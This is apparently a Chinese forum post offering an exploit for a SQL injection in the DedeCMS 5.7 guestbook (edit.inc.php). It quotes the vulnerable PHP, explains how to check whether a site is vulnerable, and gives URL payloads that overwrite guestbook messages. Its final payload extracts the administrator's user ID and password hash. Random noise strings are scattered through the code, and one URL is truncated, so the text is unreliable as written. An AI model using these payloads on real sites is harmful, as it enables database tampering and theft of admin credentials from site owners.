dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
( D* C5 Z$ g4 v! y( }) ~( [2 N
# T# e4 N! C( ~6 c漏洞文件edit.inc.php具体代码：

< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  
! w8 Q+ W. p- l: J
( v/ \3 W$ w( L   
7 B- f' d$ @. L5 ~1 A/ L5 C
( ~6 t/ x9 \$ V1 _7 q; e. H, Cif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
' s7 m1 J1 d1 ?( v' b, Z* V. S
else $GUEST_BOOK_POS = "guestbook.php";  

& t  L. `1 N3 \4 Q0 a; w   
& g( [# U& Y3 G- K) D6 C
% {  ?0 ^# E7 _( l2 d6 M$id = intval($id);  
# ]) C8 J! x! w* Y
3 \  t5 c$ H; J. _, U1 Lif(empty($job)) $job='view';  

   

! t9 q8 V/ `: w' r- V# ]3 Xif($job=='del' && $g_isadmin)  

7 B& A1 e, p, x6 p( X+ P{  
$ Z) J: e7 L3 H- |' V4 [
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

3 F( @& o. Q0 h- r. Iexit();  

) ~# u1 S+ F1 T, r$ H}  

7 K9 L3 |3 P% Felse if($job=='check' && $g_isadmin)  
% {5 `& _# T7 \! O) r# B+ f
{  
3 I0 z2 @8 @) n, d: Z
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
+ u4 ]+ D. e9 r9 l* t* q" e
) f' N2 K. L5 Q, U0 I( w- o4 ^ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
4 _  b$ e7 N3 o. {5 y
) x8 r+ q  H; b+ Y6 r3 jexit();  

* g6 G' n3 V8 B! w) h: r* G}  
; p+ U6 e& J7 T) ?* @% v
; O0 T9 V5 X" belse if($job=='editok')  

{  

$remsg = trim($remsg);  
' p6 V$ Z7 \: S) G' c
/ k! C3 M1 ]6 `, `& dif($remsg!='')  
, K9 i1 ^: I; u
{  
4 S8 j4 S8 e# V
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
1 V& s8 Z$ ^* F6 h
9 Q1 k0 X; f( y( H6 h7 Fif($g_isadmin)  

( L$ r: `( A% ^  C7 i{  

+ l1 M: G) ^  D+ M9 A3 p" z0 O$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  

else

  b* q2 h+ F6 n% E{  
) @  P/ Q2 t+ G
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
7 ]' \) Y! x5 k
% ], K4 u8 `. k+ w; p9 ^8 T4 z" L$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
. u+ [, P2 X7 |" e3 ?: w; K
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
& [6 K9 ~. E) g4 ^- r+ e/ ?- s
$msg = $oldmsg.$remsg;  

}  
1 F- _4 O3 {, g) M3 m
# [' W/ k! A: c3 Y}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
6 v4 p7 R1 u1 o# O8 s" t
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
1 M6 n; R$ v1 x% z6 ~2 P) ~
! @" {: S' S5 W3 ?3 {- P9 a; Eexit();  

& o# G( K& D  L6 M8 {9 p# h- V}  

//home:www.errs.cc  

if($g_isadmin)  

2 B8 z1 k, M# t5 j$ N* q  i& e3 T' V{  
; s' U: ?0 D' E' ~
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
. Z* P7 L% `8 u2 @/ g/ W1 ]4 ^
2 `# u. z: P' z7 h" Q8 n3 Z' Prequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

* q0 Z% Q0 m6 U0 ], ~}  

else

{  
' c; F! P, R$ ~' M# x1 l9 j- T
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

6 \# J6 E5 ^* l0 Irequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
/ n8 v- _; E$ `7 u: k% J; X
6 `% K* }- \# j9 z} 漏洞成功需要条件：
$ s" _# z/ v& \% s! O1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

, H' u) ~+ y; {/ g$ Q! K怎么判断是否存在漏洞：
5 U5 T6 T& S% _" ~5 S先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
7 B( X* Q# h% I* ~% u" t访问：
" j4 c4 T( w8 N: Q- Y  L2 n
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
* U( x3 l1 C# x0 I  a$ E
, M& _) Y% @  @! m2 K
* L, }2 e% ?5 ?0 N% r明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
" n9 ]. y7 B0 z- D) h那么再次访问

% d5 H3 {+ A# [; c/ Lwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

1 l: Q* X+ Y+ j" H. h8 M4 M大概利用就是这样，大家有兴趣的多研究下！！

: C9 Q, n( c2 o# z最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

, M( p9 y: w0 Q: i* N+ G2 C5 Hview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='